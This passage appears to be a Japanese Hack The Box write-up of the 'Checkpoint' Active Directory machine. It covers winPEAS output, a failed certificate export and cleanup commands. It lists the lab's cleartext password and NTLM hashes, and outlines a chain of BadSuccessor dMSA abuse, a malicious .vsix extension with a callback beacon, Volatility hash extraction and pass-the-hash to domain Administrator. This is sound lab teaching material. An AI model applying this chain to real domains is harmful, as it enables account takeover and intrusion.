winPEAS は以下を出したが、svc_deploy は local admin ではない。

CredentialGuard is not enabled
LSA Protection is not enabled
cachedlogonscount is 10
DefaultUserName: ryan.brooks
max.palmer: User Type Administrator

DefaultPassword は空。SeBackupPrivilege もない。ローカル権限昇格より VMBackups を読むのが本線。

winPEAS は machine certificate を検出した。

Issuer : CN=dc01.checkpoint.htb
Subject : CN=dc01.checkpoint.htb
HasPrivateKey : True
KeyExportable : True
Thumbprint : F6F448711CBD3E6424F88B0072DEE6152045F180

しかし svc_deploy で export すると keyset が無い。

ターミナルウィンドウ
certutil -store My F6F448711CBD3E6424F88B0072DEE6152045F180
certutil -exportPFX My F6F448711CBD3E6424F88B0072DEE6152045F180 C:\Users\svc_deploy\Documents\dc01.pfx
Missing stored keyset
CertUtil: -exportPFX command FAILED: 0x80090016 NTE_BAD_KEYSET
CertUtil: Keyset does not exist

AD CS / PKINIT も死んでいるため、これは追わない。

検証後に戻すなら、以下を確認する。

svc_deploy に追加した SPN:

ターミナルウィンドウ
setspn -D http/checkpoint-vsix svc_deploy

svc_deploy の msDS-SupportedEncryptionTypes を変更した場合は元に戻す。元値は空だった。

ターミナルウィンドウ
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
$u.Properties['msDS-SupportedEncryptionTypes'].Clear()
$u.SetInfo()

BadSuccessor 関連。

  • checkpoint-mark$
  • checkpoint-svc$
  • mark.davies の msDS-Superseded...
  • svc_deploy の msDS-Superseded...

DevDrop。

  • 置いた .vsix
  • callback beacon
  • 一時ファイル

Profile。

  • ryan.brooks / svc_deploy に置いたツール
  • PowerView.ps1
  • PowerUp.ps1
  • winPEASx64.exe

初期資格情報。

alex.turner : Checkpoint2024!

BadSuccessor で得た hash。

mark.davies NTLM:
0b28e49d9deb96f99d74578e214faec2
svc_deploy NTLM:
e16081eb077aca74bdbf8af12af43ac9

VM memory から得た hash。

WIN-0DG6SJAEUTA\Administrator NTLM:
f29e9c014295b9b32139b09a2790be3b

この hash は CHECKPOINT\Administrator に reuse できた。

CHECKPOINT\Administrator : f29e9c014295b9b32139b09a2790be3b

Flags。

user.txt: C:\Users\ryan.brooks\Desktop\user.txt
root.txt: C:\Users\max.palmer\Desktop\root.txt

典型的な BloodHound の shortest path だけで終わるタイプではなく、以下の力が必要だった。

  • AD の基本列挙: users / groups / ACL / membership / shares
  • Kerberos の時刻ズレ対応
  • LDAP signing と LDAPS 不調時の切り分け
  • BadSuccessor / dMSA の理解
  • SMB 共有の権限差分の読み取り
  • VS Code .vsix によるコード実行
  • Windows の profile / application data の調査
  • VMware backup と .vmem の扱い
  • Volatility による Windows memory forensic
  • NTLM hash reuse と pass-the-hash

この box で必要だった知識を整理する。

LDAP で users / groups / descriptions / memberOf を見る基本が重要だった。svc_deploy の Remote Management Users と BackupAccess は序盤から見えていた。

Clock skew によって Kerberos が失敗し、BloodHound が NTLM LDAP に落ち、LDAP signing のため LDAPS に逃げて死ぬ、という連鎖を切り分ける必要があった。LDAPS を直すのではなく、時刻を合わせて Kerberos を通すのが正しい。

msDS-DelegatedManagedServiceAccount の作成権限、msDS-SupersededManagedAccountLink、msDS-SupersededServiceAccountState、badS4U2self の流れが必要だった。ツールの自動処理が途中で失敗しても、オブジェクトや属性が作られているかを LDAP で確認し、手動で続ける判断が重要。

alex.turner の dMSA 作成権限だけでは svc_deploy は取れない。ryan.brooks -> GenericWrite -> svc_deploy を組み合わせて初めて成立する。BloodHound の path が直接見えなくても、権限を分解して考える必要があった。

DevDrop の説明文を読み、.vsix の実行を仮説化できるかが user への鍵だった。SMB の READ と READ,WRITE の差も重要。

VMBackups の memory forensics という名前、.vmem、Volatility の windows.hashdump が root への鍵。vmem が DC のメモリではなく別 VM のメモリでも、hash reuse を疑うのが必要だった。

ローカル Administrator hash を得た時点で、そのまま target domain の Administrator に試す判断が必要だった。hash reuse は強い確認ポイント。

Checkpoint は、単純な AD shortest path ではなく「見えている情報を根拠に次の探索対象を選ぶ」力が問われる box だった。

前半は AD。

  • 初期 creds で LDAP/SMB を丁寧に見る
  • BloodHound が失敗した原因を時刻ズレとして切り分ける
  • BadSuccessor と ACL を組み合わせる

中盤はアプリケーション/共有。

  • DevDrop の説明から VS Code extension 実行を読む
  • .vsix を作って ryan.brooks shell を取る
  • profile や VS Code DB を調べるが、不要なら切る

後半はフォレンジック。

  • svc_deploy の本当の価値は WinRM ではなく VMBackups
  • 10GB VMDK より .vmem を優先する判断
  • Volatility で hashdump
  • ローカル hash の domain reuse を試す

Medium らしく、最後はやや力技に見えるが、各段階に手掛かりはあった。特に BackupAccess、memory forensics、max.palmer の Domain Admins 所属、Administrator hash reuse は、単独では弱く見えても組み合わせると自然な経路になる。

次の教訓が大きい。

  1. BloodHound が壊れても LDAP 手動列挙を続ける。
  2. ツールのエラーは「完全失敗」とは限らない。AD object が作られているか確認する。
  3. 共有名と説明文を読む。
  4. profile や backup は最後まで見る。
  5. hash を得たら、その由来がローカルでも reuse を試す。